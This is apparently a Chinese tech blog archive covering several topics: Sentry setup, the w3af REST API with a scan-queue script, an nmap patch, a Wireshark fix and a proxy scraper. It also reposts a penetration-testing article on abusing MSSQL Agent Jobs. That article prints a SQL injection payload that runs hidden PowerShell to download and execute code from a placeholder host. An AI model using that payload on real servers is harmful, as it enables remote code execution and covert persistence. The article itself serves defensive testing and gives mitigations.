基于docker的sentry搭建过程

发布时间:April 13, 2017 // 分类:运维工作,开发笔记,linux,windows,python,生活琐事 // 2 Comments

最近拜读董伟明大牛的《python web实战开发》发现他推荐了一个神器sentry.恰好不久前还在和小伙伴讨论如何记录try--except的异常信息。发现刚好可以用上.

** 简介 **

Sentry’s real-time error tracking gives you insight into production deployments and information to reproduce and fix crashes.---官网介绍
Sentry是一个实时事件日志记录和汇集的日志平台,其专注于错误监控,以及提取一切事后处理所需的信息。他基于Django开发,目的在于帮助开发人员从散落在多个不同服务器上的日志文件里提取发掘异常,方便debug。Sentry由python编写,源码开放,性能卓越,易于扩展,目前著名的用户有Disqus, Path, mozilla, Pinterest等。它分为客户端和服务端,客户端就嵌入在你的应用程序中间,程序出现异常就向服务端发送消息,服务端将消息记录到数据库中并提供一个web节目方便查看。

** 安装 **
通过官方文档https://docs.sentry.io/ 可以得知,安装服务有两种方式,一种是使用Python,这种方式个人感觉比较麻烦。于是选择了第二种方式:使用docker[官方更加推荐]

这种方法需要先安装** docker **和 ** docker-compose **

0x01 安装docker
0x02 安装docker-compose
0x03 获取sentry
0x04 搭建sentry

我本地安装过了docker和docker-compose.直接从第三步开始

git clone https://github.com/getsentry/onpremise.git

获取到本地之后,就可以根据他的README.md开始着手搭建了,整个过程还是比较顺利的。

** step 1.构建容器并创建数据库和sentry安装目录 **

mkdir  -p data/{sentry,postgres}

** step 2.生成secret key并添加到docker-compose文件里 **

sudo docker-compose run --rm web config generate-secret-key

这个过程时间有点长。其间会提示创建superuser,用户名是一个邮箱,这个邮箱今后会收到sentry相关的消息,口令可以随便设置,只要自己记得住就可以了。

最后会在命令行输出一串乱七八糟的字符(形如:** z#4zkbxk1@8r*t=9z^@+q1=66zbida&dliunh1@p–u#zv63^g ** )
这个就是 secretkey,将这串字符复制到docker-compose.yml文件中并保存.取消SENTRY_SECRET_KEY的注释,并把刚刚复制的字符串插入其中,类似如下

** step 3.重建数据库,并创建sentry超级管理员用户 **

sudo docker-compose run --rm web upgrade

创建用户,sentry新建的时候需要一个超级管理员用户

** step 4.启动所有的服务 **

sudo docker-compose up -d


至此sentry搭建完成!

实际效果

from raven import Client
client = Client('http://f4e4bfb6d653491281340963951dde74:10d7b52849684a32850b8d9fde0168dd@127.0.0.1:9000/2')
    def find_result(self, sql,arg=''):
        try:
            with self.connection.cursor() as cursor:
                if len(arg)>0:
                    cursor.execute(sql,arg)
                else:
                    cursor.execute(sql)
                result = cursor.fetchone()
                self.connection.commit()
                return result

        except Exception, e:
            client.captureException()
            print sql,str(e)

print sql,str(e)

输出错误

client.captureException()

记录的错误日志

About w3af_api

发布时间:November 23, 2016 // 分类:开发笔记,运维工作,工作日志,linux,代码学习,python,生活琐事 // No Comments

今天看到了一个saas产品,和作者聊了下,发现是基于w3af_api来实现的。然后自己补充了其他的类型.感觉很厉害的样子。于是跑过来看了下w3af。相关的文档在这里

w3af算的上是老牌的东西了。反正我是比较少用的,总是感觉效果没有理想的那么好。比如它的爬虫模块太久没有更新了.导致现在出现的很多动态脚本的结果没发准确抓取到。对比下

- http://testphp.acunetix.com/
- http://testphp.acunetix.com/AJAX/
- http://testphp.acunetix.com/AJAX/index.php
- http://testphp.acunetix.com/AJAX/styles.css
- http://testphp.acunetix.com/Flash/
- http://testphp.acunetix.com/Flash/add.fla
- http://testphp.acunetix.com/Flash/add.swf
- http://testphp.acunetix.com/Mod_Rewrite_Shop/
- http://testphp.acunetix.com/Mod_Rewrite_Shop/images/1.jpg
- http://testphp.acunetix.com/Mod_Rewrite_Shop/images/2.jpg
- http://testphp.acunetix.com/Mod_Rewrite_Shop/images/3.jpg
- http://testphp.acunetix.com/artists.php
- http://testphp.acunetix.com/cart.php
- http://testphp.acunetix.com/categories.php
- http://testphp.acunetix.com/disclaimer.php
- http://testphp.acunetix.com/guestbook.php
- http://testphp.acunetix.com/hpp/
- http://testphp.acunetix.com/hpp/params.php
- http://testphp.acunetix.com/images/logo.gif
- http://testphp.acunetix.com/images/remark.gif
- http://testphp.acunetix.com/index.php
- http://testphp.acunetix.com/listproducts.php
- http://testphp.acunetix.com/login.php
- http://testphp.acunetix.com/product.php
- http://testphp.acunetix.com/redir.php
- http://testphp.acunetix.com/search.php
- http://testphp.acunetix.com/secured/
- http://testphp.acunetix.com/secured/newuser.php
- http://testphp.acunetix.com/secured/style.css
- http://testphp.acunetix.com/showimage.php
- http://testphp.acunetix.com/signup.php
- http://testphp.acunetix.com/style.css
- http://testphp.acunetix.com/userinfo.php

这个是它抓取到的。然后自己前几天琢磨的crawl抓到的【在抓取前先fuzz了dir。所以基本满足需求】

主题不在这边。主要是针对w3af_api。关于它的文档可以看这边。简答的描述下

1.启动,主要是两个方式,一个是直接运行

$ ./w3af_api
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

另外一个是docker

$ cd extras/docker/scripts/
$ ./w3af_api_docker
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

2.认证。可以自行更换密码的。密码默认的加密方式是sha512sum。

生成密码

$ echo -n "secret" | sha512sum
bd2b1aaf7ef4f09be9f52ce2d8d599674d81aa9d6a4421696dc4d93dd0619d682ce56b4d64a9ef097761ced99e0f67265b5f76085e5b0ee7ca4696b2ad6fe2b2  -

$ ./w3af_api -p "bd2b1aaf7ef4f09be9f52ce2d8d599674d81aa9d6a4421696dc4d93dd0619d682ce56b4d64a9ef097761ced99e0f67265b5f76085e5b0ee7ca4696b2ad6fe2b2"
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

也可以把账户密码等信息写入yml配置文件来加载启动。

3.api使用方式

开始一个新的扫描 [POST] /scans/
查看扫描状态 GET /scans/0/status
获取相关的漏洞信息使用 GET /scan/kb/
删除相关的信息  DELETE /scans/0/
获取扫描信息  GET  /scans/
暂停扫描  GET /scans/0/pause
停止扫描  GET /scans/0/stop
查看扫描日志  GET /scans/0/log

实际栗子来尝试一次扫描

import requests
import json

data = {'scan_profile': file('../core/w3af/profiles/full_audit.pw3af').read(),
        'target_urls': ['http://testphp.acunetix.com']}

response = requests.post('http://127.0.0.1:5000/scans/',
                         data=json.dumps(data),
                         headers={'content-type': 'application/json'})
                         
print response.text
scan_profile    必须包含的内容w3af扫描配置文件(文件名)
target_urls      w3af要进行爬虫的url列表

查看扫描状态

查看扫描状态

查看相关的漏洞信息

具体某个漏洞的信息

{
  "attributes": {
    "db": "MySQL database",
    "error": "mysql_"
  },
  "cwe_ids": [
    "89"
  ],
  "cwe_urls": [
    "https://cwe.mitre.org/data/definitions/89.html"
  ],
  "desc": "SQL injection in a MySQL database was found at: \"http://testphp.acunetix.com/userinfo.php\", using HTTP method POST. The sent post-data was: \"uname=a%27b%22c%27d%22&pass=FrAmE30.\" which modifies the \"uname\" parameter.",
  "fix_effort": 50,
  "fix_guidance": "The only proven method to prevent against SQL injection attacks while still maintaining full application functionality is to use parameterized queries (also known as prepared statements). When utilising this method of querying the database, any value supplied by the client will be handled as a string value rather than part of the SQL query.\n\nAdditionally, when utilising parameterized queries, the database engine will automatically check to make sure the string being used matches that of the column. For example, the database engine will check that the user supplied input is an integer if the database column is configured to contain integers.",
  "highlight": [
    "mysql_"
  ],
  "href": "/scans/0/kb/29",
  "id": 29,
  "long_description": "Due to the requirement for dynamic content of today's web applications, many rely on a database backend to store data that will be called upon and processed by the web application (or other programs). Web applications retrieve data from the database by using Structured Query Language (SQL) queries.\n\nTo meet demands of many developers, database servers (such as MSSQL, MySQL, Oracle etc.) have additional built-in functionality that can allow extensive control of the database and interaction with the host operating system itself. An SQL injection occurs when a value originating from the client's request is used within a SQL query without prior sanitisation. This could allow cyber-criminals to execute arbitrary SQL code and steal data or use the additional functionality of the database server to take control of more server components.\n\nThe successful exploitation of a SQL injection can be devastating to an organisation and is one of the most commonly exploited web application vulnerabilities.\n\nThis injection was detected as the tool was able to cause the server to respond to the request with a database related error.",
  "name": "SQL injection",
  "owasp_top_10_references": [
    {
      "link": "https://www.owasp.org/index.php/Top_10_2013-A1",
      "owasp_version": "2013",
      "risk_id": 1
    }
  ],
  "plugin_name": "sqli",
  "references": [
    {
      "title": "SecuriTeam",
      "url": "http://www.securiteam.com/securityreviews/5DP0N1P76E.html"
    },
    {
      "title": "Wikipedia",
      "url": "http://en.wikipedia.org/wiki/SQL_injection"
    },
    {
      "title": "OWASP",
      "url": "https://www.owasp.org/index.php/SQL_Injection"
    },
    {
      "title": "WASC",
      "url": "http://projects.webappsec.org/w/page/13246963/SQL%20Injection"
    },
    {
      "title": "W3 Schools",
      "url": "http://www.w3schools.com/sql/sql_injection.asp"
    },
    {
      "title": "UnixWiz",
      "url": "http://unixwiz.net/techtips/sql-injection.html"
    }
  ],
  "response_ids": [
    1494
  ],
  "severity": "High",
  "tags": [
    "web",
    "sql",
    "injection",
    "database",
    "error"
  ],
  "traffic_hrefs": [
    "/scans/0/traffic/1494"
  ],
  "uniq_id": "82f91e8c-759b-43b9-82cb-59ff9a38a836",
  "url": "http://testphp.acunetix.com/userinfo.php",
  "var": "uname",
  "vulndb_id": 45,
  "wasc_ids": [],
  "wasc_urls": []
}

感觉有这些差不多了。可以开始扫描,暂停,停止,删除。还能获取到具体的某个漏洞细节以及修复方案。加上api独有的特效,是可以做分布式的.

import pika
import requests
import json
import sys
import time
import sqlalchemy as db
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
import os

# database stuffs
Base = declarative_base()

# scan
class Scan(Base):
    __tablename__ = 'scans'
    id = db.Column(db.Integer, primary_key = True)
    relative_id = db.Column(db.Integer)
    description = db.Column(db.Text)
    target_url = db.Column(db.String(128))
    start_time = db.Column(db.Time)
    scan_time = db.Column(db.Time, nullable=True)
    profile = db.Column(db.String(32))
    status = db.Column(db.String(32))
    deleted = db.Column(db.Boolean, default=False)
    run_instance = db.Column(db.Unicode(128))
    num_vulns = db.Column(db.Integer)
    vulns = db.orm.relationship("Vulnerability", back_populates="scan")
    user_id = db.Column(db.String(40))

    def __repr__(self):
        return '<Scan %d>' % self.id

# vuln
class Vulnerability(Base):
    __tablename__ = 'vulns'
    id = db.Column(db.Integer, primary_key = True)
    relative_id = db.Column(db.Integer) # relative to scans
    stored_json = db.Column(db.Text) # inefficient, might fix later
    deleted = db.Column(db.Boolean, default=False)
    false_positive = db.Column(db.Boolean, default=False)
    scan_id = db.Column(db.Integer, db.ForeignKey('scans.id'))
    scan = db.orm.relationship("Scan", back_populates="vulns")

    def __init__(self, id, json, scan_id):
        self.relative_id = id
        self.stored_json = json
        self.scan_id = scan_id

    def __repr__(self):
        return '<Vuln %d>' % self.id

engine = db.create_engine(os.environ.get('SQLALCHEMY_CONN_STRING'))
Session = sessionmaker(bind=engine)
sess = Session()

credentials = pika.PlainCredentials(os.environ.get('TASKQUEUE_USER'), os.environ.get('TASKQUEUE_PASS'))
con = pika.BlockingConnection(pika.ConnectionParameters(host=os.environ.get('TASKQUEUE_HOST'),credentials=credentials))

channelTask = con.channel()
channelTask.queue_declare(queue='task', durable=True)

channelResult = con.channel()
channelResult.queue_declare(queue='result')

# URL to w3af REST API interface instance
server = sys.argv[1]

vul_cnt = 0

def freeServer(sv, href):
    r = requests.delete(sv + href)
    print r.text

def isFree(sv):
    r = requests.get(sv + '/scans/')
    print r.text
    items = json.loads(r.text)['items']
    if len(items) == 0:
        return True
    # number of items > 0
    item = items[0]
    if item['status'] == 'Stopped':
        freeServer(sv, item['href'])
        return True
    return False

def sendTaskDone(server, href):
    data = {}
    data['server'] = server
    data['href'] = href
    message = json.dumps(data)
    channelResult.basic_publish(exchange='',
                        routing_key='result',
                        body=message)

def scann(target):
    data = {'scan_profile': file('../core/w3af/profiles/full_audit.pw3af').read(),
        'target_urls': [target]}
    response = requests.post(server + '/scans/',
                        data=json.dumps(data),
                        headers={'content-type': 'application/json'})

    print response.status_code
    print response.data
    print response.headers

def getVul(sv, href):
    r = requests.get(sv + href)
    #db.insert(r.text)

def getVulsList(sv, href):
    global vul_cnt
    r = requests.get(sv + href + 'kb')
    vuls = json.loads(r.text)['items']
    l = len(vuls)
    if l > vuls_cnt:
        for vul in vuls:
            if vul['id'] >= vul_cnt:
                getVul(sv, vul['href'])
    vul_cnt = l
        
# on receiving message
def callback(ch, method, properties, body):
    print('Get message %s', body)
    task = json.loads(body)
    scann(task['target'])
    task_done = False
    time.sleep(1)
    step = 0
    last_vuln_len = 0
    sv = server
    scan = sess.query(Scan).filter_by(id=task['scan_id']).first()
    # tell gateway server that the task is loaded on this instance
    scan.run_instance = server
    while True:
        # update scan status; check if freed
        list_scans = json.loads(requests.get(sv + '/scans/').text)['items'] # currently just 1
        if (len(list_scans) == 0): # freed
            break
        currentpath = list_scans[0]['href']
        # update vuln list
        r = requests.get(sv + currentpath + '/kb/')
        items = json.loads(r.text)['items'] 
        for i in xrange(last_vuln_len, len(items)):
            v = Vulnerability(i+1, requests.get(sv + items[i]['href']).text, task['scan_id'])
            sess.add(v)
            sess.commit()
            scan.num_vulns += 1
        last_vuln_len = len(items)
        scan.status = list_scans[0]['status']
        sess.commit()
        if scan.status == 'Stopped' and not task_done:
            task_done = True
            requests.delete(sv + currentpath)
        step += 1
        if step == 9:
            con.process_data_events() # MQ heartbeat
            step = 0
        time.sleep(5) # avoid over consumption
    # TODO: send mails to list when the scan is stopped or completed
    print 'DOne'
    ch.basic_ack(delivery_tag=method.delivery_tag)
#print getServerStatus(server)


channelTask.basic_qos(prefetch_count=1)
channelTask.basic_consume(callback, queue='task')

print '[*] Waiting for message'

channelTask.start_consuming()

 

MSSQL Agent Jobs for Command Execution

发布时间:October 7, 2016 // 分类:工作日志,运维工作,linux,windows // No Comments

The primary purpose of the Optiv attack and penetration testing (A&P) team is to simulate adversarial threat activity in an effort to test the efficacy of defensive security controls. Testing is meant to assess many facets of organizational security programs by using real-world attack scenarios. This type of assessment helps identify areas of strength, or areas of improvement regarding organizations' IT security processes, personnel and systems.

There exists a cat-and-mouse game in IT security, a never-ending arms race. Malicious actors implement new attacks; defensive controls are deployed to detect and deter those same attacks. It behooves organizations to attempt to be proactive in their defensive posture, and identify new methods of attack and preemptively put controls in place to stop them. Optiv A&P strives to maintain technical expertise in both the offensive and attack arena, along with the defensive methods used to detect and prevent attacks. To stay relevant and effective in this ever-changing threat landscape, it is paramount that organizations that specialize in assessing organizational security posture stay relevant to the tactics, techniques and procedures (TTPs) that are used by genuine threat actors. Optiv engages in proactive threat research to identify TTPs that could be used by threat actors to compromise systems or data.

Attacks that Stay Below the Radar

A goal of many attackers is to implement campaigns that go undetected. The longer an organization is unware of a breach condition, the more time an attacker has to identify and exfiltrate sensitive information, and use the compromised environment as a pivot point for more nefarious activity.

Optiv A&P implements advanced attacks in an effort to identify gaps in detective capabilities, and assist organizations in detecting the attacks.

A recent example of this activity is abusing native functionality with Microsoft SQL Server (MSSQL) to gain command and control of database servers using MSSQL Server Agent Jobs. 

Microsoft SQL Server Agent

The MSSQL Server Agent is a windows service that can be used to perform automated tasks. The agent jobs can be scheduled, and run under the context of the MSSQL Server Agent service. However, using agent proxy capabilities, the jobs can be run with different credentials as well. 

The Attack

During a recent engagement, a SQL injection condition was identified in a web application that was using MSSQL Server 2012. At the request of the client, Optiv performed the assessment in a surreptitious manner, making every effort to avoid detection. Optiv devised a way to take advantage of native MSSQL Server functionality to execute commands on the underlying Windows operating system. Also, the xp_cmdshell stored procedure had been disabled, and the ability to create custom stored procedures had also been limited.

Many monitoring or detection systems generate alerts when a commonly abused MSSQL stored procedure (xp_cmdshell) is used during an attack. The usage of xp_cmdshell by  attackers, and penetration testers has caused many organizations to disable it, limit its ability to be used and tune alerting systems to watch for it.

Optiv identified a scenario wherein the MSSQL Server Agent could be leveraged to gain command execution on target database server. However, the server had to meet several conditions:

  • The MSSQL Server Agent service needs to be running.
  • The account that is being used must have permissions to create and execute agent jobs (in this case the database account that was running the service that had a SQL injection condition). 

Optiv identified two MSSQL Agent Job subsystems that could be advantageous to attackers: the CmdExec and PowerShell subsystems. These two features can execute operating systems commands, and PowerShell respectively.

Optiv used the SQL injection entry point to create and execute the agent job. The job's command was PowerShell code that created a connection to an Optiv controlled IP address and downloaded additional PowerShell instructions that established an interactive command and control session between the database server, and the Optiv controlled server.

Here is the SQL syntax breakdown. Note, in the below download-string command, the URI is between two single quotes, not double quotes. This is to escape single quotes within SQL.

USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';

The above string is for easier copying and pasting, if you want to recreate this attack scenario.

The below quickly shows a demo on how to weaponize this attack.

The SQL syntax is URL encoded. In this specific instance the attack is being sent via an HTTP GET request, hence the necessity to URL encode the payload.

The request, with the SQL injection payload, to an HTTP GET parameter that is vulnerable to SQL injection is shown. Note the %20 (space character) added to the beginning of the payload.

Once the payload is run we can see a command and control session is established, running with the SQLSERVERAGENT account's privileges.

On the victim SQL server we can see the SQL Agent job has been created.

The below video demonstrates the full attack.

Attack Post Mortem

This attack can be leveraged to run MSSQL Server Agent jobs on other MSSQL servers, if the Agent service on the victim is configured to use an account with permissions to other MSSQL servers. Also, Agent jobs can be scheduled, and may be used as an evasive means to maintain a persistent connection to victim MSSQL servers.

In some instances, if the MSSQL Server Agent service is configured with an account that has more privileges than that of the database user, for example an Active Directory domain service account, this attack can be used by an attacker to escalate their privileges. 

Mitigation

General web application hygiene should be used to prevent attack vectors like SQL injection. Use prepared statements in SQL queries within web applications, and abstracting application logic from backend databases. Employ web application firewalls to detect and block attacks on applications.

Internal systems that do not need to communicate directly with Internet hosts should be disallowed from doing so. This can prevent command and control channels from being established between internal assets, and attacker controlled endpoints. Employ strict network egress filtering.

MSSQL Server Agent jobs can be abused by any attacker that has the ability to execute SQL queries on a database server. To specifically limit the attack surface of MSSQL Server Agent jobs ensure that databases are running under the context of user accounts with the concept of least privilege. If the account that a database is running under does not have permissions to create and start MSSQL Server Agent jobs this attack is negated. Also, if the MSSQL Server Agent service is not in use it should be disabled. 

使用python-nmap不出https踩到的坑

发布时间:September 1, 2016 // 分类:工作日志,运维工作,开发笔记,linux,python,windows,生活琐事 // No Comments

今天在使用python-nmap来进行扫描入库的时候发现https端口硬生生的给判断成了http

仔细测试了好几次都是这样子。后来果断的不服气,仔细看了下扫描的参数。发现python-nmap调用的时候会强制加上-ox -这个参数

正常扫描是

nmap 45.33.49.119 -p T:443 -Pn -sV --script=banner

然而经过python-nmap以后就是

nmap -oX - 45.33.49.119 -p T:443 -Pn -sV --script=banner
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE nmaprun>
<?xml-stylesheet href="file:///usr/local/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
<!-- Nmap 7.12 scan initiated Thu Sep  1 00:02:07 2016 as: nmap -oX - -p T:443 -Pn -sV -&#45;script=banner 45.33.49.119 -->
<nmaprun scanner="nmap" args="nmap -oX - -p T:443 -Pn -sV -&#45;script=banner 45.33.49.119" start="1472659327" startstr="Thu Sep  1 00:02:07 2016" version="7.12" xmloutputversion="1.04">
<scaninfo type="connect" protocol="tcp" numservices="1" services="443"/>
<verbose level="0"/>
<debugging level="0"/>
<host starttime="1472659328" endtime="1472659364"><status state="up" reason="user-set" reason_ttl="0"/>
<address addr="45.33.49.119" addrtype="ipv4"/>
<hostnames>
<hostname name="ack.nmap.org" type="PTR"/>
</hostnames>
<ports><port protocol="tcp" portid="443"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="http" product="Apache httpd" version="2.4.6" extrainfo="(CentOS)" tunnel="ssl" method="probed" conf="10"><cpe>cpe:/a:apache:http_server:2.4.6</cpe></service><script id="http-server-header" output="Apache/2.4.6 (CentOS)"><elem>Apache/2.4.6 (CentOS)</elem>
</script></port>
</ports>
<times srtt="191238" rttvar="191238" to="956190"/>
</host>
<runstats><finished time="1472659364" timestr="Thu Sep  1 00:02:44 2016" elapsed="36.65" summary="Nmap done at Thu Sep  1 00:02:44 2016; 1 IP address (1 host up) scanned in 36.65 seconds" exit="success"/><hosts up="1" down="0" total="1"/>
</runstats>
</nmaprun>

经过格式化以后看到的内容是

其中的一个参数tunnel.但是看了下https://bitbucket.org/xael/python-nmap/raw/8ed37a2ac20d6ef26ead60d36f739f4679fcdc3e/nmap/nmap.py这里的内容。发现没有与之关联的。

for dport in dhost.findall('ports/port'):
                # protocol
                proto = dport.get('protocol')
                # port number converted as integer
                port =  int(dport.get('portid'))
                # state of the port
                state = dport.find('state').get('state')
                # reason
                reason = dport.find('state').get('reason')
                # name, product, version, extra info and conf if any
                name = product = version = extrainfo = conf = cpe = ''
                for dname in dport.findall('service'):
                    name = dname.get('name')
                    if dname.get('product'):
                        product = dname.get('product')
                    if dname.get('version'):
                        version = dname.get('version')
                    if dname.get('extrainfo'):
                        extrainfo = dname.get('extrainfo')
                    if dname.get('conf'):
                        conf = dname.get('conf')

                    for dcpe in dname.findall('cpe'):
                        cpe = dcpe.text
                # store everything
                if not proto in list(scan_result['scan'][host].keys()):
                    scan_result['scan'][host][proto] = {}

                scan_result['scan'][host][proto][port] = {'state': state,
                                                          'reason': reason,
                                                          'name': name,
                                                          'product': product,
                                                          'version': version,
                                                          'extrainfo': extrainfo,
                                                          'conf': conf,
                                                          'cpe': cpe}

试想下如果把name以及tunnel取出来同时匹配不就好了。于是对此进行修改。410-440行

                name = product = version = extrainfo = conf = cpe = tunnel =''
                for dname in dport.findall('service'):
                    name = dname.get('name')
                    if dname.get('product'):
                        product = dname.get('product')
                    if dname.get('version'):
                        version = dname.get('version')
                    if dname.get('extrainfo'):
                        extrainfo = dname.get('extrainfo')
                    if dname.get('conf'):
                        conf = dname.get('conf')
                    if dname.get('tunnel'):
                        tunnel = dname.get('tunnel')

                    for dcpe in dname.findall('cpe'):
                        cpe = dcpe.text
                # store everything
                if not proto in list(scan_result['scan'][host].keys()):
                    scan_result['scan'][host][proto] = {}

                scan_result['scan'][host][proto][port] = {'state': state,
                                                          'reason': reason,
                                                          'name': name,
                                                          'product': product,
                                                          'version': version,
                                                          'extrainfo': extrainfo,
                                                          'conf': conf,
                                                          'tunnel':tunnel,
                                                          'cpe': cpe}

还有在654-670行里面增加我们添加的tunnel

        csv_ouput = csv.writer(fd, delimiter=';')
        csv_header = [
            'host',
            'hostname',
            'hostname_type',
            'protocol',
            'port',
            'name',
            'state',
            'product',
            'extrainfo',
            'reason',
            'version',
            'conf',
            'tunnel',
            'cpe'
            ]

然后我们import这个文件。在获取的内容里面进行判断.如果namehttp的同时tunnelssl,则判断为https

        for targetHost in scanner.all_hosts():
            if scanner[targetHost].state() == 'up' and scanner[targetHost]['tcp']:
                for targetport in scanner[targetHost]['tcp']:
                    #print(scanner[targetHost]['tcp'][int(targetport)])
                    if scanner[targetHost]['tcp'][int(targetport)]['state'] == 'open' and scanner[targetHost]['tcp'][int(targetport)]['product']!='tcpwrapped':
                        if scanner[targetHost]['tcp'][int(targetport)]['name']=='http' and scanner[targetHost]['tcp'][int(targetport)]['tunnel'] == 'ssl':
                            scanner[targetHost]['tcp'][int(targetport)]['name'] = 'https'
                        else:
                            scanner[targetHost]['tcp'][int(targetport)]['name'] = scanner[targetHost]['tcp'][int(targetport)]['name']
                        print(domain+'\t'+targetHosts+'\t'+str(targetport) + '\t' + scanner[targetHost]['tcp'][int(targetport)]['name'] + '\t' + scanner[targetHost]['tcp'][int(targetport)]['product']+scanner[targetHost]['tcp'][int(targetport)]['version'])
                        #if scanner[targetHost]['tcp'][int(targetport)]['name'] in ["https","http"]:

改造后的文件扫描结果

Mac OS中 wireshark找不到网卡的解决办法

发布时间:August 17, 2016 // 分类:工作日志,运维工作,linux,转帖文章 // No Comments

1、WireShark依赖X11;
2、默认情况下Mac OS X是不安装X11的;
因此,在Mac上安装WireShark,首先找出Mac OS 安装DVD安装X11。
安装完以后 echo $DISPLAY看看是不是出现如下结果
:0.0
如果没有,请执行如下命令行:
DISPLAY=:0.0; export DISPLAY
另外,由于Mac OS的bug问题,每次重启系统以后,都要运行这两个命令是WireShark寻找到网卡:
sudo chgrp admin /dev/bpf*
sudo chmod g+rw /dev/bpf*
另一个办法可能不成功,就是将WireShark安装文件中的ChmodBPF文件夹拷贝到/Library/StartupItems/中;我的机器老是报安全性设置问题,因此暂时只能每次手动修改了;但如果不抓包,只是用来解码的话不用修改bpf权限也可以;
WireShark启动故障排除:
到/Application/WireShark.app/Contents/MacOS 下执行WireShark,查看结果,依据提示进行处理;

python获取http代理

发布时间:July 24, 2016 // 分类:开发笔记,工作日志,运维工作,linux,windows,python // 7 Comments

主要是从http://www.ip181.com/ http://www.kuaidaili.com/以及http://www.66ip.com/获取相关的代理信息,并分别访问v2ex.com以及guokr.com以进行验证代理的可靠性。

# -*- coding=utf8 -*-
"""
    从网上爬取HTTPS代理
"""
import re
import sys
import time
import Queue
import logging
import requests
import threading
from pyquery import PyQuery
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()


#logging.basicConfig(
#    level=logging.DEBUG,
#    format="[%(asctime)s] %(levelname)s: %(message)s")

class Worker(threading.Thread):  # 处理工作请求
    def __init__(self, workQueue, resultQueue, **kwds):
        threading.Thread.__init__(self, **kwds)
        self.setDaemon(True)
        self.workQueue = workQueue
        self.resultQueue = resultQueue

    def run(self):
        while 1:
            try:
                callable, args, kwds = self.workQueue.get(False)  # get task
                res = callable(*args, **kwds)
                self.resultQueue.put(res)  # put result
            except Queue.Empty:
                break


class WorkManager:  # 线程池管理,创建
    def __init__(self, num_of_workers=10):
        self.workQueue = Queue.Queue()  # 请求队列
        self.resultQueue = Queue.Queue()  # 输出结果的队列
        self.workers = []
        self._recruitThreads(num_of_workers)

    def _recruitThreads(self, num_of_workers):
        for i in range(num_of_workers):
            worker = Worker(self.workQueue, self.resultQueue)  # 创建工作线程
            self.workers.append(worker)  # 加入到线程队列

    def start(self):
        for w in self.workers:
            w.start()

    def wait_for_complete(self):
        while len(self.workers):
            worker = self.workers.pop()  # 从池中取出一个线程处理请求
            worker.join()
            if worker.isAlive() and not self.workQueue.empty():
                self.workers.append(worker)  # 重新加入线程池中
        #logging.info('All jobs were complete.')

    def add_job(self, callable, *args, **kwds):
        self.workQueue.put((callable, args, kwds))  # 向工作队列中加入请求

    def get_result(self, *args, **kwds):
        return self.resultQueue.get(*args, **kwds)

def check_proxies(ip,port):
    """
    检测代理存活率
    分别访问v2ex.com以及guokr.com
    """
    proxies={'http': 'http://'+str(ip)+':'+str(port)}
    try:
        r0 = requests.get('http://v2ex.com', proxies=proxies,timeout=30,verify=False)
        r1 = requests.get('http://www.guokr.com', proxies=proxies,timeout=30,verify=False)

        if r0.status_code == requests.codes.ok and r1.status_code == requests.codes.ok and "09043258" in r1.content and "15015613" in r0.content:
            #r0.status_code == requests.codes.ok and r1.status_code == requests.codes.ok and 
            print ip,port
            return True
        else:
            return False

    except Exception, e:
        pass
        #sys.stderr.write(str(e))
        #sys.stderr.write(str(ip)+"\t"+str(port)+"\terror\r\n")
        return False

def get_ip181_proxies():
    """
    http://www.ip181.com/获取HTTP代理
    """
    proxy_list = []
    try:
        html_page = requests.get('http://www.ip181.com/',timeout=60,verify=False,allow_redirects=False).content.decode('gb2312')
        jq = PyQuery(html_page)
        for tr in jq("tr"):
            element = [PyQuery(td).text() for td in PyQuery(tr)("td")]
            if 'HTTP' not in element[3]:
                continue

            result = re.search(r'\d+\.\d+', element[4], re.UNICODE)
            if result and float(result.group()) > 5:
                continue
            #print element[0],element[1]
            proxy_list.append((element[0], element[1]))
    except Exception, e:
        sys.stderr.write(str(e))
        pass

    return proxy_list

def get_kuaidaili_proxies():
    """
    http://www.kuaidaili.com/获取HTTP代理
    """
    proxy_list = []
    for m in ['inha', 'intr', 'outha', 'outtr']:
        try:
            html_page = requests.get('http://www.kuaidaili.com/free/'+m,timeout=60,verify=False,allow_redirects=False).content.decode('utf-8')
            patterns = re.findall(r'(?P<ip>(?:\d{1,3}\.){3}\d{1,3})</td>\n?\s*<td.*?>\s*(?P<port>\d{1,4})',html_page)
            for element in patterns:
                #print element[0],element[1]
                proxy_list.append((element[0], element[1]))
        except Exception, e:
            sys.stderr.write(str(e))
            pass

    for n in range(0,11):
        try:
            html_page = requests.get('http://www.kuaidaili.com/proxylist/'+str(n)+'/',timeout=60,verify=False,allow_redirects=False).content.decode('utf-8')
            patterns = re.findall(r'(?P<ip>(?:\d{1,3}\.){3}\d{1,3})</td>\n?\s*<td.*?>\s*(?P<port>\d{1,4})',html_page)
            for element in patterns:
                #print element[0],element[1]
                proxy_list.append((element[0], element[1]))
        except Exception, e:
            sys.stderr.write(str(e))
            pass

    return proxy_list

def get_66ip_proxies():
    """
    http://www.66ip.com/ api接口获取HTTP代理
    """
    urllists = [
        'http://www.proxylists.net/http_highanon.txt',
        'http://www.proxylists.net/http.txt',
        'http://www.66ip.cn/nmtq.php?getnum=1000&anonymoustype=%s&proxytype=2&api=66ip',
        'http://www.66ip.cn/mo.php?sxb=&tqsl=100&port=&export=&ktip=&sxa=&submit=%CC%E1++%C8%A1'
        ]
    proxy_list = []
    for url in urllists:
        try:
            html_page = requests.get(url,timeout=60,verify=False,allow_redirects=False).content.decode('gb2312')
            patterns = re.findall(r'((?:\d{1,3}\.){1,3}\d{1,3}):([1-9]\d*)',html_page)
            for element in patterns:
                #print element[0],element[1]
                proxy_list.append((element[0], element[1]))
        except Exception, e:
            sys.stderr.write(str(e))
            pass

    return proxy_list


